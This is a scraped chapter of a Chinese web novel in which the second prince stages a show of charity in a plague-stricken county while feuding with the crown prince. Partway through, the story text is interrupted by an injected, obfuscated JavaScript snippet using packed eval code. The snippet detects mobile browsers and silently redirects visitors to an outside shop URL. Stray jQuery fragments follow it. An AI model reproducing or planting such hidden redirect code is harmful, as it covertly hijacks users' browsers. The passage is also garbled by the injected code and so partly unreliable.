文趣网 > 其他小说 > 大燕最强招聘官 > 10. 天地无终极
    这日,燕元泽难得从自己的官舍里出来,跟着众人来到了疫区,还一改前几天的不耐烦,一路上俯身询问,语气温和。

    他本就是清秀的长相,压下急躁粗疏的性子,一时间竟有模有样的,叫人分不清真伪。

    人非圣贤,孰能无过,莫非前几日是心情不好的缘故?

    蓝田的县令心里暗自犯嘀咕。

    一行人越往疫区中心走,情况越是触目惊心。

    道路上俩旁横七竖八躺满了人,各个面黄肌瘦,眼神直直的望着虚空,像是失去所有的力气,只等着去死了,只有胸口的一点微弱的起伏,才能看出这些人还活着。

    死掉的尸体,在昨天已经被彻底处理干净了,掩埋在地底。

    他们满怀希望与期待来临人间,却又绝望而痛苦的离去。

    悄无声息的、不激起一丝波澜,就好像从来没有来过。

    再往里走,一群人缩成一团,蜷缩在小小的粥棚里,一个年轻女人怀中抱着一个小女孩。

    女人已经有将死之相,小孩精神却还不错,虽然脸上灰扑扑的,但眼神里还有微熄的光。

    那小孩看着道路中间被人簇拥着的人,他看上去是个有钱人,穿的衣服都是干干净净的,脸也没有凹进去,跟他们不一样。

    小女孩犹豫了一会,挣扎着从母亲怀里跑了出来,那女人嘴巴微张,想说外边危险,想让她回到自己怀里,却失了力气般垂下手,捞了个空。

    小女孩跌跌撞撞扑上前,抓住燕元泽的衣袍,“大哥哥…你有没有吃的?可不可以给我一个馍馍,我娘亲好几天没有吃过饭了,她把饭都给我了。”

    燕元泽看着她紧攥自己衣袍的手,皱了皱眉,把自己的衣服扯出来,下意识往后退了一步。

    小女孩手足无措的站在原地。

    “不行吗?”

    蓝田县令不动声色的扫了眼燕元泽的脸色,怕他发作,忙把小女孩揽过来,“来来,去一边待着,不要冲撞了贵人。”

    燕元泽撇了一眼,本想直接离开,却又想到什么,耐着性子道,“她不是要馍馍,谁带吃的了,给它一个。”

    县令给旁边人使了个眼色,那差役跑出去,不一会就带回来了一个馍馍,掰下一半塞到小女孩手里,另一半教她藏在了衣襟里。

    “小朋友,这半块你藏好,不管发生什么事情都不要拿出来,剩下这半块,拿着去给你娘亲吃。”

    小女孩不懂为什么,但还是乖乖点点头,母亲说了,要懂得感恩,恩人是不会骗自己的。

    “谢谢大哥哥,谢谢老爷,你们都是天大的好人。”

    小女孩想到自己的母亲有的吃了,心情顿时愉悦起来,她扬起微笑,大步往回跑。

    她冲回到母亲怀里,把那块馍馍往女人口中送,那女人却一动不动,眼睛还凝着小女孩刚刚冲出去的方向。

    “娘亲?娘亲?”

    “娘亲,你不要再睡了,看我带回来了什么?”

    小女孩晃了晃她,却见女人身体软趴趴的滑落在地,再也没有起来过。

    进入灾情的核心地带,燕元泽将领口猛地一拽,外袍垂落在地,露出里面的素衣。

    面露哀痛,涕泪齐下,“百姓可怜呐,我身为皇子,怎么能安心站在这里呢?”

    蓝田的地方官们有些懵了,见他要跑进去,又急忙拦下。

    “二殿下天潢贵胄、千金之躯,万万不可踏入这危险之地,这些事情让我们来做就好。”

    燕元泽踱来踱去,一声大喝,声震屋瓦。

    “本王明白你们的苦心,可这都是我大燕的子民,本王岂能坐视不理?!”

    里面的灾民们不知道这行人是干嘛的,也无力关心周遭发生了什么事情,只是呆滞的看着前方。

    “还不快去把本王准备的粮食拿来,给百姓们分下去!”

    燕元泽眉头紧锁,见他们磨磨蹭蹭,心中一股火气上涌,他就如此没有威信吗?

    “莫非你们也要做逃兵?”

    那地方官员还没来得及琢磨这个“也”字,便被扣了一头污水。

    瘟疫一出,百姓流离,他是地方官,首责就是他。

    他能逃哪去啊?逃了必死,不逃可能会死,但至少死得其所。

    更何况,皇上派他守着这块地,他就要护一县百姓安宁。

    人群中不知道谁喊了一声:“粮食!是粮食啊,我们有救了!二皇子千岁!”

    接着,呆滞的人群才有了些反应,听着耳边此起彼伏的声音,看到他们手中的粮食、雀跃的表情,不由得被着高昂的情绪所带动。

    这是不是意味着他们有救了?

    他们不用死了…

    刚得病时,医师把他们隔绝到此地,他们本不愿意来,心里总是惴惴不安,害怕被当做什么不干净的源头被扔到乱葬岗里。

    结果他们真的是来给他们治疗的,他们没有死。

    在场的人心中无不产生一圈圈涟漪。

    “我们有救了!”

    “二皇子燕元泽亲临疫区,不畏秽气,真乃苍生之幸!”

    这消息像一股疾风,一传十,十传百,最后乃至整个死气沉沉的蓝田县都一时轰动起来了,对二皇子的赞颂不绝于耳。

    如同一股旋风呼啸而过,这个消息被一层层卷到了中央。

    二皇子亲临疫区,施恩于民,百姓无不感恩戴德。

    晚上,回到官舍的燕元泽俩腿一掀,往后一仰,躺在躺椅上悠哉悠哉的。

    多亏了母妃给的钱粮,也多谢燕元祯的馈赠。

    母妃知道了也会很开心吧,不知道母妃此刻正在干什么。

    霍皇后正如同佯死卧棺。

    帐幔半垂,绣有云鹤灵芝的朱红大床上躺着俩个守规矩的人,他们二人中间隔了足足可以再躺一个人的距离。

    俩人直挺挺的平躺在床上,双手交叠放于腹部,一动不动。

    直到霍皇后轻轻咳嗽了一声,这相敬如“冰”的氛围才被打破。

    皇帝的声音在寂静中轻飘飘响起:“皇后可是风寒了?”

    霍皇后轻声道:“没有。”

    皇帝:“不知皇后可否听闻老二的壮举?”

    “臣妾不知,可是元泽又闯了什么祸?”

    皇帝不轻不淡道:“那你这个做母亲倒是有些失职了,连亲儿子竟也不关心。

    老二平时平白有一个身强力壮的身子,课业稀稀松松,粗枝大叶。在灾区竟能被人人歌功颂德,进步不小。

    皇后觉得呢?”

    “元泽只是尽了皇子应作的分内的事罢了,谁人不知他是代表陛下,代表朝廷,还得是皇上您深谋远虑。”

    霍皇后虽这么说着,面色却闪过一丝忧虑。

    皇帝接着说,“是你教子有方,有功就要赏,还要大赏。”

    霍遗光拧了拧眉,又松开,最终没有回应这句话,翻了个身将俩人隔绝起来。

    夜色渐渐深了。

    燕元祯凤眸微凝:“你说什么,粮食被人劫走了?”

    “你们平常真是吃干饭的。”燕元祯平静的说。

    下属尴尬极了,回道:“…本来昨日粮车都过了清江了,属下想着,今日大概就能到城外,没想到迟迟不来。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794948|210478||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “去查了查,才发现下人们以为是您下的命令,已经将粮食调往了东边二县。”

    “谁干的?”

    “…像是二殿下的手笔,咱们手底下几个仓管都不见了。”

    燕元祯脸黑了,一字一句像是从牙齿间隙中硬挤出来的:“真是孤的好弟弟。”

    “查。你去告诉肃政台,报个案,就说孤的商队被人劫了。”

    “让萧珵把老二抓了,以后如它所愿,它就是皇室第一丢脸、第一罪人。”

    那下属欲言又止,委婉规劝道:“殿下,您管着这么大些产业,朝廷上下早已有人暗生不满,现如今又是多灾多难的时期,怕是会惹得皇上心烦意乱。”

    燕元祯冷哼了声,“一群下人净想着插手主子的事。”

    燕元祯虽嘴上这么说,却也明白这个道理,父皇这些日子操持宫务、劳心费神,他看在眼中也心疼的紧。

    但他咽不下这口气,他燕元祯从小锦衣玉食,自然不把这点粮食放在眼里,从小到大他想要的东西别人都会一手奉上,他燕元泽算个什么东西也配抢他的东西。

    燕元泽这些年一直在背后虎视眈眈,妄图将他的储君之位取而代之。

    霍氏,想到燕元泽背后的势力,燕元祯眯了眯眼。

    “取纸笔来。”

    ……

    燕元泽这两日可谓是春风得意,整个人都轻飘飘的,似在云雾仙境。

    这些赞誉是燕元泽从未在父皇母妃口中听过的。

    喊的人多了,他便也沉浸如此,飘飘然认可了自己的成绩。

    连同在官舍的时间都少了,也不像之前那样畏惧时疫,经常带着人亲自在疫区附近视察。

    蓝田的地方官却都忧愁的面露难色,本就没有多少粮,这几日还如此分法,不计个人得失,盗匪一般的法子,这能撑得了几天。

    这日,燕元泽照例来视察。

    四五个蓬头垢面、披头散发,几乎看不清脸的男人缩在隔离点外的大棚里,瞧着像是被其他人排除在外的小群体。

    他们像是气愤极了,却又不敢大声说话,只得畏畏缩缩的小声窸窸窣窣。

    依稀传来“太子”二字。

    燕元泽脚步一顿,耳朵都竖了起来。

    “太子…简直不是东西!”

    “跟二皇子相比差远了,怎么太子不是…”

    “嘘——小点声,我那个亲戚说,那太子查出来淇县俞安里缺了那么多粮食,就干瞪眼看着!老百姓们都跪着求他呢,说什么他管不了陈郡守。”

    “嘁!区区一个官员,说白了不都是天子的奴婢吗?他是皇帝的娃,有什么不敢管的,我看他就是不把我们下边人的命当命!”

    其中一个人顿了顿,压低声音:“听说啊,这个消息传过去,让皇帝很是不满呢!”

    燕元泽自幼习武,耳朵本就比常人好使,听了几句,他也琢磨出事来,心里涌上一股莫名的快感。

    呵,燕元祯,亏你聪明一世,糊涂一时,父皇给你造一条通天梯,你都不如何知道爬,那就别怪弟弟来抢了。

    只是,就在燕元泽转身离开,衣袍飘动的瞬间,那四五个蓬头垢面的人抬起头,眼中清明极了,丝毫没有饿极了或是生病的迹象。

    燕元泽收到过母妃给他写的信,叫他不要锋芒太露,骂他给钱给粮不是让他这么造作的。

    燕元泽当时听进去了,答应下次做事之前一定跟她商量。

    但如今他又想,母妃她年纪大了,又同父皇心思不睦,如何能把握住父皇的心思?

    他也该让父皇看看了,他一点也不比太子差。